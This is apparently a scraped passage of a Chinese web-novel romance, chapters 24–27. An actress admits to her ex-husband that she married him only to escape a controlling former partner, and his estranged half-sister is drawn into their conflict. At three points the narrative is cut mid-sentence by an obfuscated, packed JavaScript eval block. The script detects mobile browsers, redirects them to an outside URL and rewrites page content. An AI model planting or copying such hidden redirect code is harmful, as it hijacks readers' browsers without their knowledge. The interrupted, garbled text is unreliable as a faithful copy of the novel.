傅谦明有个诡异的癖好,喜欢扮演温柔绅士的救世主。每一任女朋友都会在他的资助下拍摄一部电影,用来记录他救赎般浪漫的爱情故事。 她也不例外。 《潮夜》里发生的故事,和现实里她的经历能重合到九成。 这意味着傅谦明完全了解她的一切,知道她所有的习惯,创伤,偏好,以及弱点。 被他选中的所有女孩都是一样。 她看过傅谦明收藏的录像带。那些女孩子和她们的经历,基本都符合一个传统的救赎故事的套路。淋雨的小白花遇到了给她撑伞的深情男人。 只有她的故事是黑暗.童话。 只有《潮夜》一夜爆火,也只有她逃出了傅谦明的掌控。 因为只有她,从一开始就是黑的。 ** 得亏是年底行程多。叶平川隔三岔五不在组,应邀去出席各大平台的晚会盛典。 否则让他一天天眼看着云灯被别人霸占,更要怀疑自己即将沦为小三。 除了走个红毯,剩余的时间他都得坐在台下听无聊的废话,要么就是跟其他同行social。对他而言真就还不如拍戏有意思。 因此通常工作行程一结束,他就会直接回家。只不过最近回的家变成了剧组酒店。 云灯戏份重,一天天的忙不到头,也没多少功夫玩手机。他只好发挥较强的自我管理意识,主动报备一下到达时间。 回房间冲个澡等她下班,再去找她讲晚会里听到的八卦。 经过大堂时,他被前台叫住,“叶先生您好,欢迎回来。这边有一位先生要转交给云灯女士的物品。她最近收工时间比较晚,可以的话请您帮忙转达一下。” “嗯?什么东西。”叶平川捏了捏口罩,看到她手里有个崭新的方形信封,了然道,“你要交班了是么?那给我吧,我拿上去给她。” “好的!十分感谢您。” 信封浅,也没有封口。叶平川收手时,有什么东西从里面甩了出来。 是张卡片。他诧异地单膝跪地,捡起来一眼就看到上面那张照片。还带着婴儿肥的,超级可爱的小脸。 居然是张旧校园卡。 “潘云灯……”他翻到背面,校徽底下标着学校的名字。归属地是南江市。 他生长在南江,有所耳闻。那是一所贵族小学,学费天价且入学条件苛刻。但是离他家太远了,他小时候爱睡懒觉,早上起不来床,父母就没逼着他去读。 不惊讶是不可能的。 叶平川想,他出身畏寒,需要在便利店打工,当游戏陪玩挣钱的前妻—— 怎么小学上得比他还贵。 24. 第 24 章 叶平川向前台询问来人是什么模样。听描述,送东西的应该只是司机。 可在背后指使的是谁,并不难猜。 他心里自有人选。 这么可爱的照片,连他都没有,姓傅的居然随随便便交给别人传来传去。 这人什么毛病啊。 对于这种暴殄天物的行为,叶平川十分唾弃,带着意外收获的典藏级小卡上楼找人,果然扑了个空。云灯还没收工。 他不知道,今天是叶清进组的日子。 片场里灯火通明,正要拍摄一场至关重要的大戏。 叶清在剧中从v饰演的角色是亲自选定的,反派淑贵妃。谭雪舒演的女官就是她安插在言秋身边的暗线。 淑贵妃极得圣宠,位同副后,却心机深沉狠辣,前期一直隐而不发。直到派出的女官向言秋倒戈投诚,才露出真实面目。 她本是谢氏一族出身,心比天高,即便已经走到了一个女人能够到达的权力顶峰,仍不满足。 她不甘屈于男人之下度过此生,暗中毒害皇嗣,谋夺皇位。甚至派出心腹暗杀手足谢凭渊——只因此人名扬四方,若皇室凋零,相比一个叛逆的女人,同族更有可能推举他登上皇位。 她筹谋多年,怎可能把胜利的果实拱手让人?自然要早做安排。因此,才有了最初元宵灯会上那场惊马闹市的剧情。 剧中是亲族相残,而剧外,两人的关系也十分微妙。 跳出角色,叶平川和叶清确实是同父异母的亲姐弟。 虽然都姓叶,但这层关系圈内鲜有人知。两人从小不在一处长大,日常也基本不联络,感情或许还比不上普通朋友。 这在重视亲人的家庭里,乍一看是件奇怪的事。 叶平川连路边垃圾桶里捡到的小朋友都愿意带回家养几天,更别说是同一个爸的姐姐。 其实小的时候,他对这个姐姐也是献过殷勤的。 其中还带着宋澄锦的授意。 宋澄锦在生下儿子之前曾怀过一个女儿,月份很大时不幸胎停,是一桩心病。 叶其斌跟她结婚前还谈过一个初恋女友,分手后瞒着所有人生了一个女孩。养到好几岁,忽然放手不管,找上门来扔给了他们。 大人不负责任,孩子却是无辜的。她看到那柔弱的女孩,一张可怜的小脸,很难不想到自己夭折的女儿。便同意把叶清接回家,还特意让叶平川去亲近她。 叶平川从小就是个厚脸皮的孩子,让去就去,回回带着一大堆礼物。什么时兴的玩具,娃娃和进口零食应有尽有,路过小花园,还会薅几朵盛开的鲜花一起带去。 叶清从没有给他开过门。 她与叶家人同住在一座庄园,平日里却没有任何往来。独居一栋花园别墅里,逢年过节也不去看望长辈,只有除夕时会勉强出席家宴,说些场面话,对宋澄锦的亲近尤其冷淡。 她打定主意要与他们划清界限。 就这样过了两年。宋澄锦的心彻底冷了,也心疼儿子受委屈,不再让叶平川跑去吃闭门羹。 在叶平川的记忆里,他有个脾气古怪冷僻的姐姐。 他只是年纪小,又不是傻子,更不缺玩伴,谁会愿意总去热脸贴别人的冷屁股呢。只因知道宋澄锦想要女儿的心病,想替母亲完成心愿才去跑腿。 可惜以失败告终。 或许在姐姐看来,他是个抢走爸爸的坏蛋。他们一家都是坏蛋。 坏蛋来献殷勤,她怎么会接受呢。 她都不愿意先打开门来了解一下,就给他们下了定义,判了死刑。 一晃二十年过去,两人关系仍旧不咸不淡,见了面点个头都多余。 因为不亲近,他只在介绍家庭成员时跟云灯提起过一次,是有这么个人在。得知要和叶清同组拍戏,也没什么特别的感想。 他能想到,两人除了工作,不会有更多交流。 这位圈内知名的才女,所到之处也是绯闻不断。抵达剧组时,甚至是由导演亲自招待。 云灯还有戏要拍,没去凑热闹。 其实早在叶平川提起之前,她们就已经见过面。 若干年前,她和傅谦明在南法度假。彼时叶清在外留学还没毕业,夜店偶遇,扑面而来的一身叶子味儿,刺得呛鼻。 很多时候,人与人能否处得来,仅需要一个照面就可以判断。 她不喜欢叶清,有种同类相斥的违和。叶清显然也对她没有好感。 各自成名后再相遇,彼此都笑脸相迎,戴着美丽的社交面具,没什么真情实感。 她和叶平川的婚礼上,叶清也有到场,不过只待了半小时就不见人影。完成任务似的。 但云灯对她在剧本围读时的表现,印象颇为深刻。 叶清不是科班出身,大学主修艺术,转专业去读了金融,闲暇时写小说。无论哪一样,似乎都跟表演不沾边。 但她入戏快,感情强烈且充沛,对五官和肢体表达的控制力很好,妥妥是位天赋型选手。 收工后,云灯让助理问了那边的拍摄进度。得知还没结束,就准备过去看看。 “不过川哥好像已经回来了,估计就在酒店等你呢。” 梁天提醒,“他十分钟前发微信给我,问你今天大概什么时候收工。会不会是有事情要说啊?” “有急事他会打电话的。”云灯不太在意,穿好厚厚的羽绒服,戴上围巾,把自己裹得得只露出一双眼睛,“让他自己打会儿游戏好了,我看看再回去。” 淑贵妃是个浓墨重彩的角色,光从着装上就艳丽无匹。但难在这寒冬里,她赤脚散发,只穿着纱衣,是看一眼就要冻成冰雕的程度。 光是控制身体不要发抖都很难了。叶清却完全沉浸在人物里,流畅地说着台词。 此时正在拍摄的是她霸业未成,遭到围剿之时的一段自白。织锦暗光的朱红裙摆拖地,大段铺陈在台阶上,她独坐檐廊,对着满园的火光肆意大笑,嘲讽这座吃人的深宫,痛斥这个腐朽的时代。艳丽的脸蛋被灵魂深处的狂妄扭曲,宛若鬼魅。 直到生命的最后一刻,她眼中的炽热都没有熄灭。 她何错之有? 怪只怪天地不仁。 现场鸦雀无声。不需要任何的音效渲染,所有人都被这原声表演的感染力攥住了呼吸。 惊心动魄。 云灯站在人群后,安静地看完才离开。 如果说谭雪舒是刺激孟瑜的那条鲇鱼,那么叶清就是她的。 她们一样,都是天生的演员。 今天时间太晚,她没打算打照面,正要上车回酒店,却被叶清的助理拦住。 最后一条过了,摄像机一关,叶清瞬间抽离情绪,无所谓地抹去脸上风干的泪痕。 似乎是早有打算。她披上外衣,踩进毛绒拖鞋里,径直朝云灯走来。 “喝一杯?” ** 云灯不晓得跟她有什么话好说。但既然有人请吃宵夜,也没有推辞的道理。 叶清酒精成瘾的毛病,多年来都没有戒掉,收工后更是需要放松的时机。她并不同流合污,给自己点了一盅花胶椰子鸡汤。 爱酗酒的酗酒,该养生的养生。一张桌子两边泾渭分明。 “你跟叶平川玩腻了?”叶清开门见山道。 她卸了艳丽的戏妆,没有那些浮夸的眼线和腮红,素颜露出气血不足的苍白。但骨子里还是清高孤傲,不可一世的腔调。 这家酒店餐厅的煲汤技术不错。云灯连喝了好几勺都没抬头,“江煜告诉你的么。” 男人的承诺最不可信,她本来也没指望江煜嘴能有多严。更何况叶清是他的老板。 “就这么大点圈子。一有什么风吹草动,消息传得比火箭都快。” 叶清看起来心情不错,“他过得太顺了。就该受点挫折,才会知道地球不是围着他转的。” “怎么会这样想呢,”云灯惊讶地放下勺子。一双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就好像是在提醒,哪怕用了这么长的时间,她终究还是无法摆脱旧日阴影。付出的心力全都打了水漂。 “不过我还是想知道,你是怎么把叶平川弄进这个组的。”既然参与了这个项目,叶清也少不得关注剧组的动向。 “原本的男主选角快开机时才跑路不是么?留给你动脑筋的时间不多。” 既然不可能是跟他提前约好戏,为了履行承诺才来出演。那就是云灯真的在两人已经闹掰的前提下,依然凭本事把叶平川临时拉进组了。 有点东西的。 “应该是有什么把柄落你手上了吧?”叶清合理推测。“他那么心高气傲的人。” 心高气傲。云灯很久没听到有人这样评价叶平川,听着颇为新鲜。 看起来叶清也很好奇,她那个总是表现得坦荡不羁的好弟弟,会有什么见不得人的秘密。 如果告诉她,拉叶平川进组甚至没花一分钱……不知道她会露出什么表情。 估计根本不会相信。 云灯起了些坏心,脑海中迅速地编造答案,准备满足她的探究欲,顺便空手套白狼—— 想知道叶平川的把柄,总不能什么都不付出吧。要拿出些东西来交换。 可就在这时,餐厅入口又晃出一道人影。 叶平川左等右等不见人,自己打游戏也没劲,索性下楼亲自抓回去。 “小天说你们在楼下吃宵夜。吃到现在?还不回屋睡觉。” 他没有跟叶清打招呼的习惯,走过来点了个头算是礼貌,坐在云灯身边,熟稔地拿起她的勺子,舀了一勺温热的鸡汤。 “诶,这还挺好喝。”他尝出滋味来,在两人变化莫测的表情中独自开朗,“老婆,给我也点一个。” 25. 第 25 章 是人就会有偏见。叶平川这个关系复杂又并不了解的姐姐也是一样,想法不乐观。 听到助理说云灯跟叶清走了,他哪儿还坐得住等,趿着拖鞋就来楼下找人。 这两个人碰到一起,云灯或许不会吃亏,但大概率也不会聊得很开心。 剧组那么多事本来就够烦了,再多个人来给她添堵,他都怕给云灯气出个好歹来。 虽然他似乎并没有见过云灯真正生气的样子。 但是莫名觉得,一定很恐怖。 他主动过来当个靶子,叶清想找事也罢,大不了把目标转移到他身上。起码能少去烦点云灯。 叶平川从不是害怕吃亏的人。 与其说物质条件太好,才让他养成这样混不在意的松弛性格,其实更依托于精神的丰足。 兵来将挡水来土掩。无论是什么样的塌天大祸他都有底气摆平,多大的损失他都输得起。 称之为傲气也不为过。 “你这么急着跑下来干什么?”叶清的话同神情一般耐人寻味,“还怕我吃了你老婆么。” “是啊。”他用十分纯情,亦十分恶心的语气说,“我老婆就是很香啊,往这一坐跟个小蛋糕似的。” “……” 一个被窝里真是睡不出两种人。 受不了一点。她留下“两个装货”的评价扬长而去。 感觉云灯不会再给他加宵夜,叶平川一口气把剩下的养生盅喝光,“她没给你找事吧?” “就聊了几句剧本。”云灯有一丝好奇,“你对自己的姐姐评价不高诶。” 仔细些看,两人的眉眼确实有几分相似。只不过叶平川随了母亲更多,五官是被基因精心雕琢过的精致。叶清则是轮廓和气质更突出,或许是因为艺术生出身,很擅长利用妆容和穿搭。强烈的个人特征能让人忽略五官,哪怕远远看到,也会留下大美女的印象。 反正比在家爱穿派大星同款绿底紫花大裤衩的弟弟强。 “难评。”叶平川说,“反正她从小就看不惯我。” “那跟我有什么关系呢,我又没有惹过她。” “啧,怎么会没关系?” 他理所当然道,“毕竟在她眼里,你现在还是我老婆。万一她因为看我不顺眼去给你找事连累你了,那我还不得给你跪下道歉么。” “可她已经知道我们离婚了。”云灯说。 叶平川一怔,立刻表明清白:“不是我跟她提的!” “我知道。” 云灯手指点了点,“吃完了吧?把勺子放下,该回去睡觉了。别这么意犹未尽的。” 非婚生子女的成长环境有多天差地别,估计他想破脑袋也想象不到。 他同样不知道的是,有时爱与恨都不需要缘由。 即使从未主动招惹过谁。他只是在花团锦簇的人生坦途上,自顾自地幸福着,就足够让旁观者嫉恨。 尤其是脑袋里装着“我原本也应该拥有”的旁观者。 “我挑中胜春朝的版权之后,顺便还看了她别的小说,发现里面的人物设定一个很有意思的共性。” 云灯说,“她的小说里百分之八十的父亲角色都是非常慈爱的正面形象,或许也反映出作者潜意识里对父爱的渴望。” 电梯上升。只有两人的声音,在不大的空间里回响,显得有些沉闷。 “那个阿姨我小时候也见过一次。好像是因为家里出事人都快被抓了,她要逃去国外,带着孩子不方便。” 叶平川试图为自己的父亲澄清,“是我爸主动提出把她接回家的,我妈也很想把她当女儿养在身边。可她不愿意跟我们一起生活。那时候我还带着礼物去找她玩呢,她从来都不理我。” “因为看你像黄鼠狼给鸡拜年。”云灯精准评价。 “……” 叶平川说,“那也没办法。” 被接回叶家时,叶清已经是能记事的年纪了。出生以来从没见过的男人忽然出现,对着她自称父亲,告知她被母亲抛弃——怎么看都不像是可以轻易接受的变故。 和母亲一起生活时,她是没有爸的野种。后来到了叶家,她又成了贱女人留下的祸害。 仿佛无论在哪里,永远都没有光明正大地活着的机会。 “已经被抛弃过一次的小孩,会有很强的戒心,很难再信任别人。” 云灯说,“因为要自我保护。万一又被伤害,就不会那么痛苦了。” 叶平川转头看向她。她却只平静地望着电梯门,侧脸是波澜不惊的柔和。 电梯叮的一声打开。两人并肩走向房间,云灯正要刷房卡,被他侧身一挡,握住了手腕。 “你也是吗?”叶平川问。 云灯不由自主地笑起来。 他郑重的语气并没有哪里可笑。但这就像种条件反射,她其实也不知道自己在笑什么,“不许再问咯。等下我要破防了。” “……” “那好吧。先别急着回去。”叶平川又叫她,“来我这儿,有东西给你。” 他刚刚参加的活动在古镇举行,免不了带些当地特色当礼物。 其中还有下午现做的鲜花酥饼,能把人香迷糊。叶平川十分自律地宣布,“我只在采访时吃了一块,配合宣传。结束之后一口都没吃。” 这两个月他商务邀约很多,已经飞了好几次,每次回剧组都要带东西,云灯房间里堆得到处都是。 嫌从酒店再带回家里太麻烦,她大部分都给梁天,譬如鲜花饼这样的吃食就分给剧组的同事。 像这种日常随手带回来的,没有特殊意义的东西,她怎么处理叶平川都不在乎。 他只是单纯地喜欢买。出门一趟,看见这个想起她,看见那个也想起她,不买回家给她就觉得心里缺点什么。 “乖。”她象征性地给予表扬,坐下来拆礼物。 虽然可以任意处理,但如果看都不看一眼,就转手送人的话,他还是会失落的。 叶平川眼睛一弯,也坐到她身边,介绍礼物的同时插空给她讲这趟出门的见闻。 两人工作行程不同步,一年里大半年见不到面,所以总是用这种方法,填补自己不在对方身边的时间空白。 因为讲话的节奏很舒服,云灯懒洋洋地听着,都有点犯困了。他才忽然想起来,“对了!先醒醒。还有个事。” 他起身去拿那张旧校卡,“有人托前台把这个给你。我回来就顺手给你拿上来了,是你以前上学用过的东西么?” 明知故问。他心里有点紧张,不动声色地观察云灯的反应。 “嗯。”云灯只淡淡地瞥了一眼,甚至没有接过,“你喜欢留着呗。” “……” 虽然他确实是想要据为己有…… 但这不是重点! 这么久远的旧物忽然出现,没有人会不惊讶。 她反应平淡,反而才奇怪。 “我留就我留,你别想再要回去。”叶平川内心挣扎了一下,终于还是问出口,“那你上次是把它送给谁了?” “……” 云灯缓缓地吸进一口气,长长地吐出去。 “傅谦明啊。”她说,“你不是也猜到了么。” ** 人总是在某个很平凡的时刻里,彻底认清重要的事实。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223492|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云灯也认清了。 她跟叶平川是真的过不下去。 为什么总是有人要提以前的事。难道她就没有从头开始的权利? “猜是能猜到,就是有点心理不平衡。”叶平川小声嘀咕,“你都没给过我这么好的东西。” 云灯拒绝对他敞开的心,曾经对另一个人敞开过,这张校园卡就是证据。很难不让他嫉妒心膨胀。 可她明明也说过,他不比任何人差。 一定是因为那个姓傅的狗东西把她伤害得太深。 他尚未跟上云灯的思路,还以为她深呼吸,是因为提起前前夫哥被气着了,同仇敌忾道,“他干过什么对不起你的事,出轨养小三?还是酗酒嗑药搞诈骗?怎么还有脸出现在你面前。” 他对人类阴暗面的想象力过于贫瘠。 “叶平川,”云灯不答反问,“你觉得我们为什么会离婚?” “因为……你在生我的气。可我不知道你在气什么。”他的声音忽然变得很轻,像是怕惊扰到谁,“等你不生气了,我们就能和好了。对不对?” 他是答应过云灯,进组就好好拍戏,不再动不动就把离婚翻出来说。可思维走向有时也不是他能控制的。太多小状况发生,只要一动脑子,就都导向同一件事—— 他和云灯的关系状态不正常。 他没办法像云灯希望的那样,稀里糊涂地把自己糊弄过去。 不只是拍戏的几个月。他人生中从来都没有蒙昧地生活过,一切都清晰透明,有逻辑可循。 “一直拖着确实对你也不公平。好,今天干脆就讲清楚吧。”云灯说。 “你不懂我们为什么会离婚,是因为你根本就不知道,我们为什么会结婚。” 为什么结婚…… 当然是因为爱。 难道还有第二个原因吗? 她看着叶平川露出困惑的表情,毫不意外,“说实话我也没想到你会这么乖,因为答应过我,就真的完全不去调查我的底细。否则你早就该知道,我跟傅谦明在一起过。” “我和他在一起的时间很久,比和你还要久,分开时闹得很不愉快。我费了很大的力气才离开港市,但他还是派人跟着我,让我没办法正常生活。就在这个时候,你出现了。” 云灯用从未有过的坦诚口吻,一字一句地说,“剧本围读时我调查了你,确定你的家世背景能为我所用。从进组开机的第一天我就开始向你示好,难道你没有感觉到?和我在一起的每个阶段都进展得那么迅速,那么顺利。” “我们举行婚礼那天,傅谦明也来了,之后就再也没派人监视过我,彻底消失在我的生活里。直到最近才又扯上关系,但也只是因为他的新女朋友恰好在我组里工作而已。” “我已经自由了,叶平川。”她温柔地宣判,“所以不再需要你了。” 明明把每个字都听得很清楚,叶平川脑子里却一片空白,声音空洞得像是从别人身体里发出来的,“可是你一直都对我很好。” “我可以对所有人都那么好。”她说。 “……” “这一年里你不是觉得我们的关系很难受,很不对劲吗?这才是我们两个在一起会有的样子。是因为我已经得到了想要的,懒得再花精力维护我们之间的感情。” 叶平川望了她很久,才艰难地找回自己的声音,“从一开始,就只是想利用我摆脱他?” 云灯轻轻叹气,又听到他固执的追问。在追逐一个虚无的答案。 “那从哪里开始是爱呢。”他小声地说。 爱? 她摇了摇头,遗憾地说,“我没有那种东西。” 26. 第 26 章 叶平川想象过很多种可能性。 他想云灯一定有不得已的苦衷,也早就做好了帮她摆平的准备。哪怕棘手至极。哪怕他自己搞不定,去京市摇人也得摇来给她摆平。只要她肯说出来。 她终于开口了。 可他从未想过会是这种情形。 在今晚之前,他心里一直觉得,那些离婚手续和文件并没有把他跟云灯真正地分割开。 云灯还是很在意他,给他过生日,和他接吻也不会躲开。像吵完架后结束了漫长的冷战,就快要和好了。 原来都只是一种自欺欺人的幻觉。 原来在云灯心里,他们根本就没有真正地相爱过。 “为什么是我?如果你只是想靠结婚躲开麻烦,有那么多人可以选择。” 他自己也觉得这样的话太卑微,可还是控制不住地说,“你选了我,就证明我还是有点特别的吧。” “当然。”云灯给予他近乎残忍的诚实。“因为你特别好骗。” “我也想过去勾搭你那个小堂叔的,但那个圈子离我很远太难挤进去,更何况他身边环境太复杂,即使成功以后我也过不上什么消停的日子。而你就不同了。” 叶平川跟她好上的时候,还是个稀有的纯情处男,连女孩的嘴巴都没亲过。家庭条件殷实,既有靠山又没那么多阴私事,实在合适。 合适到像是上天送到她眼前的礼物。 “想要缠住你是件非常简单的事。你太容易认真了,以为所有的心动触发点都是因为爱。可那些花,那些礼物,那些浪漫的约会难道是用爱做的吗?我只需要付一下账单,就能让你认为我爱你,爱到满心满眼里只有你。” 她的脸颊泛起潮红,情绪翻涌在平静的眼眸深处,像是根本不在乎这些话会不会伤到叶平川。发泄般坦白,比起说给他,更像是说给自己听。 “你当然会觉得跟我很聊得来,因为我只说你喜欢听的话。你的喜好太容易猜了,还有能让你心动的反应,那些都不是因为爱你。” 云灯说,“我没有爱过你,这辈子都没爱过任何人。你是我骗过的所有人里最傻的一个。” 她还可以说出更难听的话,只是嗓子发干,才堪堪停住。 不是因为,他看起来快要哭了。 叶平川看她的目光,陌生得像是第一天认识她,“那为什么现在又告诉我了。为什么要离婚?你把我摸得这么透,骗我一辈子不是更好吗?” 云灯说,“因为我真的很厌烦被人缠着不放。” 他蓦地笑了,眼泪掉出来。或许是因为忍了很久,泪滴很重,砸在手背上仿佛有巨响。 不过,他总算是明白了。 云灯利用他摆脱了上一个麻烦。 所以现在,他变成了那个麻烦。 “我也想过骗你一辈子的。我本来也以为跟你结了婚,再不济总能得过且过地生活下去。可你为什么总是喜欢追根究底?” 她无奈道,“我还有很多事要做,没力气再跟你装来装去,继续编造爱情童话。太累了,性价比很低的。” “……” “知道这些所谓的真相,对你来说很重要吧。”云灯朝他伸出手,指尖是冷的。 “现在你知道了,快乐吗?” 叶平川想说真是快乐他妈给快乐开门,快乐到家了。 全世界再也找不到第二个这么狠心的人,把他的骄傲自尊乃至一颗真心全部扔在脚下碾碎。 再温柔地抹去他的眼泪,亲口告诉他爱错人会有怎样的下场。 她轻声地叹息,带着天使般的悲悯。却不是觉得自己做错了什么,只是觉得他可怜。 “叶平川啊……”她说,“遇上我算你倒霉。” ** 堪称一张校园卡引发的惨案。 之后的一周里,叶平川戏里戏外都没有露过一个笑脸。 恰好这几天在拍的剧情里,男女主角因将军府的处置方法也发生了意见分歧。两人戏里争吵,戏外冷战,连带着搞得整个剧组都气压很低。 “你们是在酝酿情绪,还是真的闹别扭了啊。”谭雪舒也悄咪咪过来打听。 云灯:“可以向小明的奶奶学习一下吗?听说她老人家活到八十岁就是因为不爱管闲事呢。” “……” 这么说就是有事。 谭雪舒不太懂她的行为。明明应该跟人抓牢的时候,居然反而闹翻了。万一出点什么状况,就不怕叶平川看着她倒霉,见死不救么。 但她能从傅谦明手里跑出来,一定是个很有脑子的女人。 谭雪舒视她为前辈,不敢小觑。 嗯。她这么做一定有她的道理。 但事实上,云灯没想什么道理。 反正她决定离婚时,就已经做好了跟叶平川老死不相往来的准备,现在这情况也没有更差。 她知道傅谦明忽然送什么校卡来肯定没憋好屁,也知道以后或许还有需要叶平川帮忙的时候,万万不该和盘托出断了自己的后路。 但就是……无所谓了。 她只觉得撕破脸以后,果然比之前爽多了。心里不用再揣着个包袱。 她人生中罕有这样不计较后果,头脑发热的时候,就算以后会死得很惨,这当下的畅快也享受到了。怎么着都不算亏。 她不在意叶平川的冷脸,甚至一起出差的路上,还能凑过去犯点小贱,“怎么样,现在是不是很后悔,宁愿相信我是为了炒cp才跟你在一起的?” “……” 叶平川拉起眼罩,把头转向车窗,不想跟她说话。 他受了大打击,这几天连装都懒得装,见了云灯根本都不正眼瞧一下,除了拍戏平常都绕着她走。连出席活动也是。恨不能把上海分开,她去一个,他去另一个。 夫妻俩感情不睦,稍微懂脸色的人都能瞧出端倪。 两人离婚的事情估计瞒不了多久了。事已至此,云灯也不再在意。 大不了到时候多花些钱打点,有狗仔爆料就让公关团队压下去。 她支着手臂托腮,侧头望着叶平川,欣赏他眼罩下露出的半张脸。 该说不说,忧郁的帅哥看起来别有一番风味。 可能她也是有点毛病。平常叶平川好好的,一门心思地围着她转,她都不觉得怎样。 把人惹伤心了,怎么逗都不理她了,反而看着更顺眼呢。 两人从剧组里直接过来,出席活动的衣服和配饰都是由助理搭配好带到现场的。 以往万一,梁天带了三套。云灯选了条拖尾的晚礼服裙,化妆做发型时,给自己在上海的小姐妹发微信。 来都来了,如果有空可以见面一起喝个小酒。她今天莫名想喝两杯。 今天是圣诞节。姜渺正点下班,刚离开自己的律师事务所就接到她的微信,欣然应约。 “那我待会儿让助理把酒店房号发给你。” 她按着语音键,对手机讲话的声音很甜,“我这边结束就回去。你提前到的话,在床上等我~” 叶平川刷地推开挂衣车,皱眉道,“怎么放这么碍事的地方。挡路了。” “哦哦。”梁天连忙把衣架挪到一旁。感觉自己也挺碍事的,就小心地带上门出去了。 她可以说是组里最早发现两人间氛围异常的人,作为cp粉头也心焦着呢。 云灯通常都自己用一间休息室,叶平川也是。但今晚的活动两人同时出席,主办方不知是偷懒还是耍小聪明省活动费,把两人放到了一间。 叶平川换好了正装,靠在化妆台旁一言不发地调整袖扣。 云灯照了照镜子,确认妆容完美无瑕,自然地抬眼看向他。量身剪裁的高定套装衬得他身形更加挺拔。 平常看他笑嘻嘻的模样看太多了,总会幻视一只摇着尾巴的大型犬。其实他还是不笑时更有魅力,富家公子爷矜贵高冷的底色展露无遗。 果然是要有点距离,才更容易产生美感。 “盯着我干什么。”叶平川冷淡地说,“又在盘算,待会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240207|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿怎么才能让我跟你一起走红毯?” 云灯一怔,仰着脸露出微笑,双手合十,“拜托啦。” 叶平川不说她都快忘了。最近两人确实各走各的,除了工作时间就没有同框的时候。 他拍完自己的戏份就会离开,接别的行程或是直接回酒店房间。 云灯忽然想到。 从那晚摊牌之后,叶平川一次也没有再上过她的车。 平时知道的人少。但参加活动那么多摄像机,无数双眼睛盯着,夫妻俩不一起走确实是很奇怪的。 “你大可放心,答应过的事我还没忘。我会把戏拍完的,不管是剧组里的戏,还是剧组之外的戏。” 叶平川从口袋里掏出戒指戴上,自嘲地说,“反正我对你来说,就只有这么点价值了。不是么。” 云灯被他的动作吸引,看清楚那枚戒指的款式,脸色微变,“戒指……你怎么还在戴?” “我怎么不能戴。”他抬起手,指环上的主钻在化妆间的灯光中闪得有些刺眼。 云灯自然认得出,那是两人结婚对戒中的一枚。 可她自然也记得很清楚,在那个狂风暴雨的夜里,她亲手把戒指从叶平川的手上摘了下来,连同自己的,一起扔到了度假别墅的窗外。 别墅后院连着私家沙滩,从三楼的高度往外扔,她绝对扔进了沙子里。在暴雨的冲刷下,不是深埋海滩,就是被卷入浪潮,消失不见。 怎么会又出现在叶平川手上。 “我的那枚呢?”云灯语气生涩。 他意味不明地笑了一声,坐到单人沙发上玩手机,“想要自己去捡。” “……” 云灯心理不平衡了。 戒指她也很喜欢的,当时精心挑选了好久呢。要不是为了表明态度,让他知道离婚不是随便说说,她才舍不得扔呢。 两个都没了也就罢了,偏偏就他找回来,还拿出来显摆。 她戒指上的钻可比叶平川的多多了! 房间里一阵安静。她忍了会儿,还是觉得不舒服,“你别戴这个了。待会儿拍到你戴婚戒,我没戴,那些爱管闲事的人又要骂我。” “那跟我有什么关系?”叶平川反问。 他放下手机,不乏刻意地欣赏起自己的戒指,懒懒地说,“不是很想要跟我划清界限么。戴什么戒指你也要管?我想戴就戴,十个手指全戴上,你管得着么。” “……” 忧郁帅哥欣赏了没多久,云灯又开始觉得他烦。跟之前还不是一种烦。 中心思想是我可以犯贱,但他不许犯。 没谈拢。云灯冷冷地瞪了他一眼,叫来小天,换了套黑丝绒的束身长裙,需要搭配佩戴手套。这样戴没戴戒指就都看不出来。 她那么聪明,一点小问题怎么难得住呢。 叶平川就坐在沙发上,面色无波,看着她们忙碌地换造型。 她的礼服裙都设计得露肩露背,又非常贴身。她不能穿内衣,上半身只有接近肤色的胸贴。脱下裙子时和全.裸没什么区别。 叶平川视线完全不避开,炙热得直冒火星。 气氛一时冷得结冰,一时又火热得很诡异。太煎熬了,梁天硬着头皮,恨不得再长两双手赶紧帮老板穿好衣服溜走。 生怕自己再慢一步,就成了某种做恨play中的一环。 云灯懒得跟他较劲,确认好自己的造型,时间也差不多了。会场的摆渡车来接两人去红毯起点。 晚上风大,她加了条毛领披肩,防寒又跟礼服很搭,就是有点占地方。叶平川挨着车门坐在另一边,连她披肩的毛毛都不愿意碰到。真是幼稚得好笑。 抵达聚光灯耀眼的会场,叶平川打开车门,先下了车。她收拾起裙摆,调整仪态准备出去迎接镜头的闪光轰炸,习惯性伸出手—— 落了空。 云灯下意识地望向车外,却只看到他乌黑沉重的背影。 还有一句不耐的催促。 “下车。”叶平川说。 27. 第 27 章 她没说什么,只是收回手,自己小心地往外挪。被华丽的长裙束缚,整晚行动都不太方便。 散场后两人各奔东西。她不关心叶平川去哪里玩,叶平川也没问她。 很少有这么省心的时候。她不用再应付令人头疼的追问,也没有时不时的查岗电话,想玩到多晚都可以。 姜渺带了酒来,还带了套睡衣。太久没见面了,恰好明天是周末,今天可以彻夜长聊。 